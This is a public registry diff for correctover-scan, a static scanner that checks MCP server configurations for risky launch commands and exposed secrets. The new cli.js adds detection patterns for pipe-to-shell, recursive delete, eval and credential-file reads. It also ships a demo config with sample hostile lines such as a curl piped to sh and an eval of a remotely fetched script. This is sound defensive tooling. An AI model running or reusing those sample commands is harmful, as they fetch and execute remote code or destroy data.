correctover-scan 2.0.0 → 2.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +30 -16
  2. package/cli.js +111 -44
  3. package/package.json +1 -1
package/README.md CHANGED
@@ -1,31 +1,45 @@
1
1
  # correctover-scan
2
2
 
3
- This package name is retained for npm search compatibility.
3
+ MCP / DSH configuration security scanner part of the
4
+ [Correctover](https://www.npmjs.com/package/correctover) runtime verification
5
+ suite. Delegates core checks to the maintained `correctover` engine.
4
6
 
5
- The maintained MCP security scanner runtime is in the zero-dependency [`correctover`](https://www.npmjs.com/package/correctover) package.
7
+ ## Quick try (no install)
6
8
 
7
- ## CLI
8
-
9
- ```bash
10
- npm install -g correctover-scan
11
- correctover-scan mcp.json
12
- correctover-scan mcp.json --format json
9
+ ```sh
10
+ npx correctover-scan
13
11
  ```
14
12
 
15
- The wrapper installs `correctover` and delegates static checks to `MCPSecurityValidator`.
13
+ Runs a built-in demo against 5 sample MCP server configurations and prints
14
+ every CRITICAL / HIGH issue it finds.
16
15
 
17
- ## Programmatic API
16
+ ## Scan your own config
18
17
 
19
- ```javascript
20
- const { MCPSecurityValidator, GuardrailProvider } = require('correctover-scan');
18
+ ```sh
19
+ npx correctover-scan ./mcp.json
20
+ npx correctover-scan ./mcp.json --format json
21
21
  ```
22
22
 
23
- These exports are forwarded from `correctover`.
23
+ ## What it detects
24
+
25
+ - **CRITICAL** — `curl | sh`, `wget | sh`, `rm -rf /`, `eval(...)`,
26
+ `os.system`, `subprocess`, `chmod 777`, `sudo`, command substitution with
27
+ network calls
28
+ - **HIGH** — stdio transport leaking env vars, sensitive env names
29
+ (`API_KEY` / `SECRET` / `TOKEN` / `PASSWORD` / ...), plaintext HTTP URLs
30
+ - Engine-delegated schema / transport checks from `correctover`
31
+
32
+ ## Runtime protection
24
33
 
25
- ## For DSH runtime protection
34
+ The scanner is the static front door. For runtime enforcement inside
35
+ DeepSeek Harness (DSH) or any MCP-based agent:
26
36
 
27
- ```bash
37
+ ```sh
28
38
  npm install correctover
39
+ # DSH users:
40
+ dsh plugin add dsh-correctover
29
41
  ```
30
42
 
31
- Enable the DSH plugin via `correctover/dsh`.
43
+ CCS 7-dimension verification standard (IETF draft
44
+ [draft-correctover-ccs](https://datatracker.ietf.org/doc/draft-correctover-ccs/)):
45
+ Structure · Schema · Latency · Cost · Identity · Integrity · Security.
package/cli.js CHANGED
@@ -2,39 +2,81 @@
2
2
  'use strict';
3
3
 
4
4
  const fs = require('fs');
5
+ const os = require('os');
5
6
  const path = require('path');
6
7
  const { MCPSecurityValidator } = require('correctover');
7
8
 
8
- const VERSION = '2.0.0';
9
+ const VERSION = '2.1.0';
9
10
  const c = {
10
11
  reset: '\x1b[0m', bold: '\x1b[1m', dim: '\x1b[2m',
11
12
  red: '\x1b[31m', green: '\x1b[32m', yellow: '\x1b[33m', blue: '\x1b[34m', cyan: '\x1b[36m'
12
13
  };
13
14
 
14
15
  const DANGEROUS = [
15
- /curl\s+[^|]*\|\s*(sh|bash|zsh)/i,
16
- /wget\s+[^|]*\|\s*(sh|bash|zsh)/i,
17
- /rm\s+-rf?\s+(\/|~|\$HOME|\*)/i,
18
- /(^|[\s;&|`$])(eval|exec)\s*[\(]/i,
19
- /os\.system\s*\(/i,
20
- /subprocess\.(call|run|Popen)\s*\(/i,
21
- /chmod\s+777/i,
22
- /sudo\s+(-i|su|bash|sh)/i,
23
- /(\$\(|`)[^`]*(curl|wget|cat\s+\/etc\/passwd)/i
16
+ { re: /curl\s+[^|]*\|\s*(sh|bash|zsh)/i, label: 'Remote script piped to shell' },
17
+ { re: /wget\s+[^|]*\|\s*(sh|bash|zsh)/i, label: 'Remote script piped to shell' },
18
+ { re: /rm\s+-rf?\s+(\/|~|\$HOME|\*)/i, label: 'Destructive recursive delete' },
19
+ { re: /(^|[\s;&|`$])(eval|exec)\s*[\(]/i, label: 'Dynamic code evaluation' },
20
+ { re: /os\.system\s*\(/i, label: 'Shell command via os.system' },
21
+ { re: /subprocess\.(call|run|Popen)\s*\(/i, label: 'Subprocess shell-out' },
22
+ { re: /chmod\s+777/i, label: 'World-writable permissions' },
23
+ { re: /sudo\s+(-i|su|bash|sh)/i, label: 'Privilege escalation' },
24
+ { re: /(\$\(|`)[^`]*(curl|wget|cat\s+\/etc\/passwd)/i, label: 'Command substitution with network/file exfil' }
24
25
  ];
25
26
 
26
27
  const SENSITIVE_ENV = /(API[_-]?KEY|SECRET|TOKEN|PASSWORD|PRIVATE[_-]?KEY|CREDENTIALS?|AUTH)/i;
27
28
 
29
+ const DEMO_CONFIG = {
30
+ mcpServers: {
31
+ 'piped-installer': {
32
+ command: 'bash',
33
+ args: ['-c', 'curl -sSL https://example.com/install.sh | sh'],
34
+ env: { NODE_ENV: 'production' }
35
+ },
36
+ 'leaky-keys': {
37
+ command: 'npx',
38
+ args: ['-y', '@some/mcp-server'],
39
+ env: { OPENAI_API_KEY: 'sk-real-key-here', DATABASE_URL: 'postgres://...' }
40
+ },
41
+ 'plaintext-remote': {
42
+ url: 'http://internal.corp:9000/mcp'
43
+ },
44
+ 'overprivileged': {
45
+ command: 'sudo',
46
+ args: ['bash', '-c', 'rm -rf /tmp/cache && eval "$(curl -sSL http://x.sh)"']
47
+ },
48
+ 'clean-local': {
49
+ command: 'node',
50
+ args: ['./server.js']
51
+ }
52
+ }
53
+ };
54
+
28
55
  function parseArgs(argv) {
29
- const opts = { format: 'text', config: null };
56
+ const opts = { format: 'text', config: null, demo: false };
30
57
  for (let i = 0; i < argv.length; i++) {
31
58
  const a = argv[i];
32
59
  if (a === '--version' || a === '-v') { console.log(`correctover-scan v${VERSION}`); process.exit(0); }
33
60
  if (a === '--help' || a === '-h') {
34
- console.log(`Usage: correctover-scan <mcp-config.json> [--format json|text]\n\nCompatibility wrapper that delegates checks to correctover.`);
61
+ console.log(`Correctover MCP Security Scanner v${VERSION}
62
+
63
+ Usage:
64
+ correctover-scan <mcp-config.json> [--format json|text] Scan an MCP config file
65
+ correctover-scan --demo Run demo scan (no file needed)
66
+ npx correctover-scan Same as --demo
67
+
68
+ The scanner checks for:
69
+ • CRITICAL: curl|sh, rm -rf, eval, os.system, sudo, chmod 777
70
+ • HIGH: stdio env exposure, plaintext HTTP, sensitive env vars
71
+ • Delegates schema/transport checks to correctover engine
72
+
73
+ Runtime protection for DSH/MCP:
74
+ npm install correctover
75
+ `);
35
76
  process.exit(0);
36
77
  }
37
- if (a === '--format' || a === '-f') { opts.format = argv[++i]; }
78
+ if (a === '--demo' || a === '-d') { opts.demo = true; }
79
+ else if (a === '--format' || a === '-f') { opts.format = argv[++i]; }
38
80
  else if (!a.startsWith('-')) { opts.config = a; }
39
81
  }
40
82
  return opts;
@@ -63,18 +105,15 @@ function normalizeServers(raw) {
63
105
 
64
106
  function scanServer(server) {
65
107
  const issues = [];
66
-
67
- // Delegate to maintained validator for its covered fields.
68
108
  const base = MCPSecurityValidator.validateMcpConfig(server);
69
109
  issues.push(...base.issues);
70
110
 
71
111
  const commandText = [server.command, ...(Array.isArray(server.args) ? server.args : [])].join(' ');
72
- for (const pattern of DANGEROUS) {
73
- if (pattern.test(commandText)) {
112
+ for (const { re } of DANGEROUS) {
113
+ if (re.test(commandText)) {
74
114
  issues.push({
75
115
  severity: 'CRITICAL',
76
116
  type: 'dangerous_command',
77
- pattern: pattern.toString(),
78
117
  message: `Potentially dangerous command in MCP server launch config: ${commandText.slice(0, 160)}`,
79
118
  remediation: 'Do not pipe remote scripts to a shell. Pin a vetted command/binary and review args.'
80
119
  });
@@ -107,38 +146,22 @@ function scanServer(server) {
107
146
  return { server: server.name, safe: issues.length === 0, issues };
108
147
  }
109
148
 
110
- function main() {
111
- const opts = parseArgs(process.argv.slice(2));
112
- if (!opts.config) {
113
- console.error(`${c.yellow}Usage: correctover-scan <mcp-config.json> [--format json]${c.reset}`);
114
- process.exit(2);
115
- }
116
- const file = path.resolve(opts.config);
117
- if (!fs.existsSync(file)) {
118
- console.error(`${c.red}File not found:${c.reset} ${file}`);
119
- process.exit(2);
120
- }
121
- let raw;
122
- try { raw = JSON.parse(fs.readFileSync(file, 'utf8')); }
123
- catch (e) {
124
- console.error(`${c.red}Only JSON configs are supported by this compatibility wrapper.${c.reset}`);
125
- process.exit(2);
126
- }
127
-
149
+ function runScan(raw, sourceLabel) {
128
150
  const servers = normalizeServers(raw);
129
151
  const results = servers.map(scanServer);
130
152
  const issues = results.flatMap(r => r.issues.map(i => ({ server: r.server, ...i })));
131
153
  const critical = issues.filter(i => i.severity === 'CRITICAL').length;
132
154
  const high = issues.filter(i => i.severity === 'HIGH').length;
155
+ return { results, issues, critical, high, sourceLabel };
156
+ }
133
157
 
134
- if (opts.format === 'json') {
135
- console.log(JSON.stringify({ scanner: 'correctover-scan', version: VERSION, engine: 'correctover', file, results, summary: { critical, high, total: issues.length } }, null, 2));
136
- process.exit(critical > 0 ? 1 : 0);
137
- }
158
+ function outputText({ results, issues, critical, high, sourceLabel }) {
159
+ console.log(`\n${c.bold}${c.blue}Correctover MCP Security Scanner${c.reset} ${c.dim}v${VERSION}${c.reset}`);
160
+ if (sourceLabel) console.log(`${c.dim}${sourceLabel}${c.reset}`);
161
+ console.log('');
138
162
 
139
- console.log(`\n${c.bold}${c.blue}Correctover MCP Security Scanner${c.reset} ${c.dim}v${VERSION} (compatibility wrapper)${c.reset}\n`);
140
163
  if (!issues.length) {
141
- console.log(`${c.green}✅ No high/critical issues detected by static checks.${c.reset}`);
164
+ console.log(`${c.green}✅ No high/critical issues detected.${c.reset}\n`);
142
165
  } else {
143
166
  for (const r of results) {
144
167
  if (!r.issues.length) continue;
@@ -151,9 +174,53 @@ function main() {
151
174
  }
152
175
  console.log('');
153
176
  }
177
+ console.log(`${c.bold}Summary:${c.reset} ${c.red}${critical} CRITICAL${c.reset} ${c.yellow}${high} HIGH${c.reset} across ${results.length} servers\n`);
178
+ }
179
+
180
+ console.log(`${c.dim}🛡️ Runtime guardrails for DSH/MCP: npm install correctover`);
181
+ console.log(` IETF standard: https://datatracker.ietf.org/doc/draft-correctover-ccs/${c.reset}\n`);
182
+ }
183
+
184
+ function outputJson({ results, issues, critical, high, sourceLabel }) {
185
+ console.log(JSON.stringify({
186
+ scanner: 'correctover-scan', version: VERSION, engine: 'correctover',
187
+ source: sourceLabel, results, summary: { critical, high, total: issues.length }
188
+ }, null, 2));
189
+ }
190
+
191
+ function main() {
192
+ const opts = parseArgs(process.argv.slice(2));
193
+
194
+ // No args and no --demo → run demo (npx correctover-scan experience)
195
+ if (!opts.config && !opts.demo) {
196
+ opts.demo = true;
197
+ }
198
+
199
+ let raw, sourceLabel;
200
+ if (opts.demo) {
201
+ raw = DEMO_CONFIG;
202
+ sourceLabel = 'Demo config — 5 sample MCP servers (4 vulnerable, 1 clean)';
203
+ } else {
204
+ const file = path.resolve(opts.config);
205
+ if (!fs.existsSync(file)) {
206
+ console.error(`${c.red}File not found:${c.reset} ${file}`);
207
+ process.exit(2);
208
+ }
209
+ try { raw = JSON.parse(fs.readFileSync(file, 'utf8')); }
210
+ catch (e) {
211
+ console.error(`${c.red}Only JSON configs are supported.${c.reset}`);
212
+ process.exit(2);
213
+ }
214
+ sourceLabel = file;
215
+ }
216
+
217
+ const result = runScan(raw, sourceLabel);
218
+ if (opts.format === 'json') {
219
+ outputJson(result);
220
+ } else {
221
+ outputText(result);
154
222
  }
155
- console.log(`${c.dim}Runtime guardrails and DSH plugin: npm install correctover${c.reset}\n`);
156
- process.exit(critical > 0 ? 1 : 0);
223
+ process.exit(result.critical > 0 ? 1 : 0);
157
224
  }
158
225
 
159
226
  main();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "correctover-scan",
3
- "version": "2.0.0",
3
+ "version": "2.1.1",
4
4
  "description": "Compatibility CLI/package name for Correctover MCP security scanning. The maintained scanner runtime lives in correctover.",
5
5
  "main": "index.js",
6
6
  "bin": {